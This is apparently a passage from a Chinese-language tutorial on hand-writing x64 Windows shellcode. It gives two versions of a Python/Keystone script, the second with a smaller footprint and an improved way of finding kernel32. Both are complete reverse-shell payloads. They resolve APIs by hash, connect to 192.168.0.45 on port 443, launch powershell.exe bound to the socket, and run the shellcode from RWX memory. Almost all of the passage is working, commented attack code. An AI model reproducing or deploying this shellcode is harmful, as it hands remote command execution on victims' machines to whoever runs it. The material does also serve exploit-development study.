" mov rdx, qword ptr [rdi + 8];" # If equal, move ".23l" to RDX
" cmp rdx, r13;" # Compare the next 4 characters ".23l"
" jne next_module;" # If not equal, move to next module
" jump_proxy:"
" jmp jump_section;"
" parse_module:"
" mov ecx, dword ptr [r9 + 0x3c];" # R9 saves Dll Base address, fetch the offset to NT Header
" xor r15, r15;"
" mov r15b, 0x88;"
" add r15, r9;"
" add r15, rcx;"
" mov r15d, dword ptr [r15];"
" add r15, r9;" # R15 saves the VMA of Export Directory
" mov ecx, dword ptr [r15 + 0x18];" # Number of function names
" mov r14d, dword ptr [r15 + 0x20];" # Fetch RVA of ENPT
" add r14, r9;" # R14 saves the VMA of ENPT
" search_function:"
" jrcxz not_found;" # If RCX = 0, the function is not found
" dec ecx;" # Index decreases by 1
" xor rsi, rsi;" # Zero out RSI
" mov esi, [r14 + rcx*4];" # RVA of current function name string
" add rsi, r9;" # RSI points to current function name
" function_hashing:"
" xor rax, rax;" # Clean RAX
" xor rdx, rdx;" # Clean RDX
" cld;" # Clear direction flag
" iteration:"
" lodsb;" # Copy next byte in RSI to Al
" test al, al;" # If reach to the end
" jz compare_hash;" # Compare the function hash
" ror edx, 0x0d;" # Part of the hashing algorithm
" add edx, eax;" # Part of the hashing algorithm,
" jmp iteration;" # Move to next byte
" compare_hash:"
" cmp edx, r8d;"
" jnz search_function;"
" mov r10d, [r15 + 0x24];" # Ordinal Table RVA
" add r10, r9;" # Ordinal Table VMA
" movzx ecx, word ptr [r10 + 2*rcx];" # Function Ordinal Number
" mov r11d, [r15 + 0x1c];" # EAT RVA
" add r11, r9;" # EAT VMA
" mov eax, [r11 + 4*rcx];" # Function RVA
" add rax, r9;" # Function VMA
" ret;"
" not_found:"
" ret;"
" jump_section:"
" mov rbp, r9;" # RBP = Kernel32.dll Address
" mov r8d, 0xec0e4e8e;" # LoadLibraryA Hash
" sub rsp, 0x30;"
" call parse_module;" # Search LoadLibraryA's address
" add rsp, 0x30;"
" mov r12, rax;" # R12 = LoadLibraryA Address
" mov r8d, 0x7c0dfcaa;" # GetProcAddress Hash
" sub rsp, 0x30;"
" call parse_module;" # Search GetProcAddress' address
" add rsp, 0x30;"
" mov r13, rax;" # R13 = GetProcAddress Address
" load_module:"
" xor rax, rax;"
" xor r13, r13;"
" mov ax, 0xffff;" #
" mov r13w, 0x9393;"
" sub rax, r13;"
" push rax ;" # Push RAX onto the stack
" mov rax, 0x642E32335F325357 ;" # Move "WS2_32.D" into RAX
" push rax ;" # Push RAX onto the stack
" mov rcx, rsp;" # RCX = Pointer to "ws2_32.dll\0"
" sub rsp, 0x20;" # Reverse space for x64 calling convention
" mov rax, r12;" # RAX = Address of LoadLibraryA
" call rax;" # LoadLibraryA("ws2_32.dll")
" add rsp, 0x20;" # Clean up reversed space
" mov r14, rax;" # Save the returned base address of ws2_32.dll
" call_wsastartup:"
" mov r9, rax;" # R9 = WS2_32.DLL
" mov r8d, 0x3bfcedcb;" # WSAStart Hash
" mov rbx, r9;" # Save ws2_32.dll base address in rbx for next use
" call parse_module;" # Search WSAStartup address
" xor rcx, rcx;"
" mov cx, 0x198;"
" sub rsp, rcx;"
" lea rdx, [rsp];" # lpWSAData
" xor rcx, rcx;"
" xor r13, r13;"
" mov cx, 0x1313;"
" mov r13w, 0x1111;"
" sub rcx, r13;"
" sub rsp, 0x50;"
" call rax;" # Call WSAStartup
" add rsp, 0x50;" # Recover the stack
" call_wsasocket:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xadf509d9;" # WSASocketA Hash
" call parse_module;" # Search WSASocketA address
" sub rsp, 0x50;"
" xor rcx, rcx;"
" inc rcx;"
" inc rcx;"
" xor rdx, rdx;"
" inc rdx;"
" xor r8, r8;"
" mov r8b, 0xfffa;"
" neg r8b;"
" xor r9, r9;" # 0
" mov [rsp+0x20], r9;" # 0
" mov [rsp+0x28], r9;" # 0
" call rax;"
" mov r12, rax;" # Save socket to r12 for later use
" add rsp, 0x50;"
" call_wsaconnect:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xb32dba0c;" # WSAConnect Hash
" call parse_module;" # Search WSAConnect address
" xor r13, r13;"
" xor r15, r15;"
" mov r13w, 0xffff;"
" mov r15w, 0xfdff;"
" sub r13, r15;"
" sub rsp, r13;"
" mov rcx, r12;" # Move socket to RCX as the 1st argument
" xor rdx, rdx;"
" inc rdx;"
" inc rdx;"
" mov [rsp], rdx;" # Store structure socketaddr
" xor rdx, rdx;"
" mov dx, 0xbb01;"
" mov [rsp+2], rdx;" # Add 2nd member of socketaddr
" mov edx, 0x3d10b8d0;"
" sub edx, 0x10101010;"
" mov [rsp+4], rdx;" # Add 3rd member of socketaddr
" lea rdx, [rsp];" # Pointer to socketaddr structure as the 2nd argument
" xor r8, r8;"
" mov r8w, 0x2610;"
" sub r8w, 0x1010;"
" xor r9, r9;" # lpCallerData = NULL as the 4th argument
" sub rsp, 0x50;" # Reverse space for fastcall convention
" mov [rsp+0x20], r9;" # lpCalleeData = NULL as the 5th argument
" mov [rsp+0x28], r9;" # lpSQOS = NULL as the 6th argument
" mov [rsp+0x30], r9;" # lpGQOS = NULL as the 7th argument
" call rax;"
" add rsp, 0x50;" # Release space
" call_createprocess:"
" mov r9, rbp;" # R9 = KERNEL32.DLL
" mov r8d, 0x16b3fe72;" # CreateProcessA Hash
" call parse_module;" # Search CreateProcessA address
" mov rdx, 0x10107588753e7c7c;"
" mov r13, 0x1010101010101010;"
" sub rdx, r13;"
" sub rsp,0x18;"
" push rdx;"
" mov rdx, 0x6568737265776f70;"
" push rdx;"
" mov rcx, rsp;" # Application Name Argument as the 1st argument
" push r12;" # STDERROR
" push r12;" # STDOUTPUT
" push r12;" # STDINPUT
" xor rdx, rdx;"
" push dx;"
" push rdx;"
" push rdx;"
" mov dx, 0x1110;"
" sub dx, 0x1010;"
" push dx;" # dwFlags = 0x100
" xor rdx, rdx;"
" push dx;"
" push dx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" mov dl, 0x68;"
" push rdx;" # cb = 0x68
" mov rdi, rsp;"
" mov rdx, rsp;"
" sub dl, 0x68;"
" push rdx;" # ProcessInformation as the 10th argument
" push rdi;" # Pointer to STARTINFO as the 9th argument
" xor rdx, rdx;"
" push rdx;" # lpCurrentDirectory as the 8th argument
" push rdx;" # lpEnvironment as the 7th argument
" push rdx;" # dwCreationFlags as the 6th argument
" inc rdx;"
" push rdx;" # bInheritHandles as the 5th argument
" xor rdx, rdx;"
" push rdx;" # Reverse space for 4th argument
" push rdx;" # Reverse space for 3th argument
" push rdx;" # Reverse space for 2th argument
" push rdx;" # Reverse space for 1th argument
" mov rdx, rcx;" # lpCommandLine
" xor rcx, rcx;"
" mov r8, rcx;" # lpProcessAttributes
" mov r9, rcx;" # lpThreatAttributes
" call rax;"
)
# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
减少字节数
改善寻找 Kernel32.dll 的方法
import ctypes, struct
from keystone import *
CODE = (
" locate_kernel32:"
" xor rdx, rdx;"
" mov rax, gs:[rdx + 0x60];" # RAX = TEB->PEB
" mov rsi, [rax + 0x18];" # RSI = PEB->LDR
" mov rsi, [rsi + 0x20];" # RSI = PEB->LDR.InMemoryOrderModuleList
" mov r9, [rsi];" # python.exe
" mov r9, [r9];" # ntdll.dll
" mov r9, [r9+0x20];" # kernel32.dll
" jmp jump_section;" # Achieve PIC
" parse_module:"
" mov ecx, dword ptr [r9 + 0x3c];" # R9 saves Dll Base address, fetch the offset to NT Header
" xor r15, r15;" # Fetch RVA of Export Directory
" mov r15b, 0x88;"
" add r15, r9;"
" add r15, rcx;"
" mov r15d, dword ptr [r15];"
" add r15, r9;" # R15 saves the VMA of Export Directory
" mov ecx, dword ptr [r15 + 0x18];" # Number of function names
" mov r14d, dword ptr [r15 + 0x20];" # Fetch RVA of ENPT
" add r14, r9;" # R14 saves the VMA of ENPT
" search_function:"
" jrcxz not_found;" # If RCX = 0, the function is not found
" dec ecx;" # Index decreases by 1
" xor rsi, rsi;" # Zero out RSI
" mov esi, [r14 + rcx*4];" # RVA of current function name string
" add rsi, r9;" # RSI points to current function name
" function_hashing:"
" xor rax, rax;" # Clean RAX
" xor rdx, rdx;" # Clean RDX
" cld;" # Clear direction flag
" iteration:"
" lodsb;" # Copy next byte in RSI to Al
" test al, al;" # If reach to the end
" jz compare_hash;" # Compare the function hash
" ror edx, 0x0d;" # Part of the hashing algorithm
" add edx, eax;" # Part of the hashing algorithm,
" jmp iteration;" # Move to next byte
" compare_hash:"
" cmp edx, r8d;"
" jnz search_function;"
" mov r10d, [r15 + 0x24];" # Ordinal Table RVA
" add r10, r9;" # Ordinal Table VMA
" movzx ecx, word ptr [r10 + 2*rcx];" # Function Ordinal Number
" mov r11d, [r15 + 0x1c];" # EAT RVA
" add r11, r9;" # EAT VMA
" mov eax, [r11 + 4*rcx];" # Function RVA
" add rax, r9;" # Function VMA
" ret;"
" not_found:"
" ret;"
" jump_section:"
" mov rbp, r9;" # RBP = Kernel32.dll Address
" mov r8d, 0xec0e4e8e;" # LoadLibraryA Hash
" sub rsp, 0x30;"
" call parse_module;" # Search LoadLibraryA's address
" add rsp, 0x30;"
" mov r12, rax;" # R12 = LoadLibraryA Address
" mov r8d, 0x7c0dfcaa;" # GetProcAddress Hash
" sub rsp, 0x30;"
" call parse_module;" # Search GetProcAddress' address
" add rsp, 0x30;"
" mov r13, rax;" # R13 = GetProcAddress Address
" load_module:"
" xor rax, rax;" # Move "ll" + 0x9393 into RAX
" xor r13, r13;"
" mov ax, 0xffff;" # Recover "ll"
" mov r13w, 0x9393;"
" sub rax, r13;"
" push rax ;" # Push RAX onto the stack
" mov rax, 0x642E32335F325357 ;" # Move "WS2_32.D" into RAX
" push rax ;" # Push RAX onto the stack
" mov rcx, rsp;" # RCX = Pointer to "ws2_32.dll" s
" sub rsp, 0x20;" # Reverse space for x64 calling convention
" mov rax, r12;" # RAX = Address of LoadLibraryA
" call rax;" # LoadLibraryA("ws2_32.dll")
" add rsp, 0x20;" # Clean up reversed space
" mov r14, rax;" # Save the returned base address of ws2_32.dll
" call_wsastartup:"
" mov r9, rax;" # R9 = WS2_32.DLL
" mov r8d, 0x3bfcedcb;" # WSAStart Hash
" mov rbx, r9;" # Save ws2_32.dll base address in rbx for next use
" call parse_module;" # Search WSAStartup address
" xor rcx, rcx;"
" mov cx, 0x198;"
" sub rsp, rcx;"
" lea rdx, [rsp];" # lpWSAData
" xor rcx, rcx;"
" xor r13, r13;"
" mov cx, 0x1313;" # wVersionRequired = 0x202 + 0x1010
" mov r13w, 0x1111;" # Recover 0x202
" sub rcx, r13;"
" sub rsp, 0x50;"
" call rax;" # Call WSAStartup
" add rsp, 0x50;" # Recover the stack
" call_wsasocket:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xadf509d9;" # WSASocketA Hash
" call parse_module;" # Search WSASocketA address
" sub rsp, 0x50;"
" xor rcx, rcx;" # AF_INIT =2 as the 1st argument
" inc rcx;"
" inc rcx;"
" xor rdx, rdx;"
" inc rdx;" # SOCK_STREAM = 1 as the 2nd argument
" xor r8, r8;"
" mov r8b, 0xfffa;" # rb 8= -6
" neg r8b;" # IPPROTO_TCP = 6 as the 3rd argument
" xor r9, r9;" # lpProtocolInfo = 0 as the 4rd argument
" mov [rsp+0x20], r9;" # g = 0 as the 5th argument
" mov [rsp+0x28], r9;" # dwFlags = 0 as the 6th argument
" call rax;" # Call WSASocketA
" mov r12, rax;" # Save socket to r12 for later use
" add rsp, 0x50;"
" call_wsaconnect:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xb32dba0c;" # WSAConnect Hash
" call parse_module;" # Search WSAConnect address
" xor r13, r13;"
" xor r15, r15;"
" mov r13w, 0xffff;"
" mov r15w, 0xfdff;"
" sub r13, r15;"
" sub rsp, r13;" # Reserve 0x200 bytes for SocketAddr (Overkill)
" mov rcx, r12;" # Move socket to RCX as the 1st argument
" xor rdx, rdx;" # sin_family = AF_INET = 2 as the 1st member in sockaddr structure
" inc rdx;"
" inc rdx;"
" mov [rsp], rdx;" # Store structure socketaddr
" xor rdx, rdx;" # Port 443 01bb as the 2nd member in sockaddr structure
" mov dx, 0xbb01;"
" mov [rsp+2], rdx;" # Add 2nd member of socketaddr
" mov edx, 0x3d10b8d0;" # IP = 192.168.0.45 + 0x10101010 as the 3rd member in sockaddr structure
" sub edx, 0x10101010;" # Recover IP address
" mov [rsp+4], rdx;" # Add 3rd member of socketaddr
" lea rdx, [rsp];" # Pointer to socketaddr structure as the 2nd argument
" xor r8, r8;"
" mov r8w, 0x1026;"
" sub r8w, 0x1010;" # namelen = 16 bytes as the 3rd argument
" xor r9, r9;" # lpCallerData = NULL as the 4th argument
" sub rsp, 0x50;" # Reserve space for fastcall convention
" mov [rsp+0x20], r9;" # lpCalleeData = NULL as the 5th argument
" mov [rsp+0x28], r9;" # lpSQOS = NULL as the 6th argument
" mov [rsp+0x30], r9;" # lpGQOS = NULL as the 7th argument
" call rax;" # Call WSAConnect
" add rsp, 0x50;" # Release space
" call_createprocess:"
" mov r9, rbp;" # R9 = KERNEL32.DLL
" mov r8d, 0x16b3fe72;" # CreateProcessA Hash
" call parse_module;" # Search CreateProcessA address
" mov rdx, 0x10107588753e7c7c;" # Push string "exe.ll" + 0x1010101010101010
" mov r13, 0x1010101010101010;" # Recover "exe.ll"
" sub rdx, r13;"
" sub rsp,0x18;" # Align stack to meet 16 bytes alignment
" push rdx;" # Push string "ll.exe" to stack
" mov rdx, 0x6568737265776f70;" # Push string "ehsrewop"
" push rdx;" # Push string "powershe" to stack
" mov rcx, rsp;" # Application Name Argument as the 1st argument
" push r12;" # STDERROR
" push r12;" # STDOUTPUT
" push r12;" # STDINPUT
" xor rdx, rdx;"
" push dx;"
" push rdx;"
" push rdx;"
" mov dx, 0x1110;" # 0x100 = 0x1110 - 0x1010
" sub dx, 0x1010;"
" push dx;" # dwFlags = 0x100
" xor rdx, rdx;"
" push dx;"
" push dx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" mov dl, 0x68;"
" push rdx;" # cb = 0x68
" mov rdi, rsp;"
" mov rdx, rsp;"
" sub dl, 0x68;"
" push rdx;" # ProcessInformation as the 10th argument
" push rdi;" # Pointer to STARTINFO as the 9th argument
" xor rdx, rdx;"
" push rdx;" # lpCurrentDirectory as the 8th argument
" push rdx;" # lpEnvironment as the 7th argument
" push rdx;" # dwCreationFlags as the 6th argument
" inc rdx;"
" push rdx;" # bInheritHandles as the 5th argument
" xor rdx, rdx;"
" push rdx;" # Reserve space for 4th argument on stack
" push rdx;" # Reserve space for 3th argument on stack
" push rdx;" # Reserve space for 2th argument on stack
" push rdx;" # Reserve space for 1th argument on stack
" mov rdx, rcx;" # lpCommandLine
" xor rcx, rcx;"
" mov r8, rcx;" # lpProcessAttributes as the 3rd argument
" mov r9, rcx;" # lpThreatAttributes as the 4th argument
" call rax;"
)
# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
参考: